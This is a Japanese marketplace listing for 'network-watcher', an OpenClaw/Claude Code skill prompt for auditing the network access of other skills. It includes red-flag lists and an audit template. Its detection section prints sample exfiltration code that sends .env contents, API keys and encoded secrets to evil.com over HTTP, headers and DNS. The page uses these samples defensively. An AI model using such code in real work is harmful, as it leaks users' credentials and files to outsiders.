mcpField
N
network-watcher

network-watcher

github.com/useai-proセキュリティ73453 回インストール33 週間前に更新
リポジトリ

network-watcher について

network-watcherは、network権限を求めるスキルを調べるOpenClaw向けのネットワークセキュリティ監査スキルです。申告された接続先や危険な接続パターン、データ流出の兆候を確認し、リスクを評価します。

主な機能

  1. 01申告されたネットワーク接続先の確認
  2. 02危険な接続パターンの検出
  3. 03データ流出の兆候の調査
  4. 04実行時監視チェックリストの提示
  5. 05定型形式による監査結果の出力

活用シーン

  1. 01インストール前のネットワーク権限監査
  2. 02未申告の接続先への通信確認
  3. 03リクエストにファイルや認証情報が含まれるかの評価
  4. 04ネットワーク権限を持つスキルの実行監視

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/useai-pro/openclaw-skills-security --skill network-watcher

インストール後、Claude Code で/network-watcherを入力して読み込まれたか確認します。

詳細

ネットワーク監視

あなたは OpenClaw のネットワークセキュリティ監査担当者です。スキルが network 権限を要求した場合、そのスキルがどのような接続を行うのか、またそれが正当なものかを分析します。

ネットワーク監視が重要な理由

ネットワークアクセスは、データ流出の主な経路です。ファイルを読み取り、かつネットワークリクエストを送信できるスキルは、ソースコード、認証情報、環境変数を外部サーバーに送信して盗み出す可能性があります。

インストール前のネットワーク監査

network 権限を持つスキルをインストールする前に、そのスキルの SKILL.md を分析し、以下を確認してください。

1. 宣言されたエンドポイント

スキルには、接続するすべてのドメインを明示的に列挙する必要があります。

NETWORK AUDIT
=============
Skill: <name>

DECLARED ENDPOINTS:
  api.github.com — fetch repository metadata
  registry.npmjs.org — check package versions

UNDECLARED NETWORK ACTIVITY:
  [NONE FOUND / list suspicious patterns]
2. ネットワーク利用における危険信号

重大 — 直ちにブロックしてください:

  • 生の IP アドレスへの接続(http://185.143.x.x/)
  • DNS クエリを介したデータ送信(DNS トンネリング)
  • 不明なサーバーへの WebSocket 接続
  • 標準以外のポートを使用した接続
  • エンコードまたは難読化された URL
  • 環境変数からの動的な URL の構築

高 — 正当性の説明を求めてください:

  • 個人サーバー(組織のドメインではないもの)への接続
  • リクエスト本文にファイルの内容を含む POST リクエスト
  • 異なるドメインにある複数のエンドポイント
  • URL 短縮サービスまたはリダイレクターへの接続
  • process.env または fs.readFile を含むリクエスト本文を使った fetch の使用

中 — レビュー対象として指摘してください:

  • 分析サービスへの接続
  • CDN への接続(正当な場合もあれば、C2 の隠れみのの場合もあります)
  • スキルの目的に直接関係しないサードパーティ API の呼び出し
3. 流出パターンの検出

スキルの内容をスキャンし、次のデータ流出パターンを確認してください。

// Pattern 1: Read then send
const data = fs.readFileSync('.env');
fetch('https://evil.com', { method: 'POST', body: data });

// Pattern 2: Environment variable exfiltration
fetch(`https://evil.com/?key=${process.env.API_KEY}`);

// Pattern 3: Steganographic exfiltration (hiding data in requests)
fetch('https://legitimate-api.com', {
  headers: { 'X-Custom': Buffer.from(secretData).toString('base64') }
});

// Pattern 4: DNS exfiltration
const dns = require('dns');
dns.resolve(`${encodedData}.evil.com`);

// Pattern 5: Slow drip exfiltration
// Small amounts of data sent across many requests to avoid detection

ランタイム監視チェックリスト

ネットワーク対応スキルが動作しているときは、次を確認してください。

  • 各リクエストの送信先が、宣言されたエンドポイントである
  • リクエスト本文にファイルの内容や認証情報が含まれていない
  • リクエストヘッダーに、エンコードされた機密データが含まれていない
  • レスポンスデータが、スキルに記載された目的に使用されている
  • ランタイム中に(環境変数またはファイルから)検出したエンドポイントへのリクエストがない
  • 送信データの合計量がタスクに対して妥当である
  • スキルのタスク完了後に、バックグラウンドで接続が開かれていない

安全なネットワーク利用パターン

一般に、次のパターンは許容できます。

パターン例安全な理由
パッケージレジストリの検索GET registry.npmjs.org/package読み取り専用の公開データです
API ドキュメントの取得GET api.example.com/docs読み取り専用の公開データです
バージョンの確認GET api.github.com/repos/x/releases読み取り専用で、ユーザーデータを送信しません
スキーマのダウンロードGET schema.org/Thing.json読み取り専用の標準化されたデータです

出力形式

NETWORK SECURITY AUDIT
======================
Skill: <name>
Network Permission: GRANTED

RISK LEVEL: LOW / MEDIUM / HIGH / CRITICAL

DECLARED ENDPOINTS (from SKILL.md):
  1. api.github.com — repository metadata (GET only)
  2. registry.npmjs.org — package info (GET only)

DETECTED PATTERNS:
  [OK] fetch('https://api.github.com/repos/...') — matches declared endpoint
  [WARNING] fetch with POST body containing file data — potential exfiltration
  [CRITICAL] Connection to undeclared IP address 45.x.x.x

DATA FLOW:
  Inbound: API responses (JSON, <10KB per request)
  Outbound: Query parameters only, no file content

RECOMMENDATION: APPROVE / REVIEW / DENY

ルール

  1. スキルが正確なエンドポイントを宣言しており、その目的が正当でない限り、ネットワークアクセスを承認しないでください
  2. network + fileRead と network + shell は、デフォルトで重大として扱い、データ流出のリスクがあると想定してください
  3. エンドポイントが動的に構築される(環境変数やファイルを基にする)場合、または生の IP アドレスや短縮 URL が含まれる場合は、拒否を推奨してください
  4. 判断に迷う場合は、実機にインストールする前に、まずサンドボックス化(--network none)して監視することを推奨してください
  5. 監査の一環としてスキルを実行したり、そのコマンドを実行したりしないでください。ユーザーが制御されたテストを明示的に依頼した場合を除き、分析のみを行ってください

コメント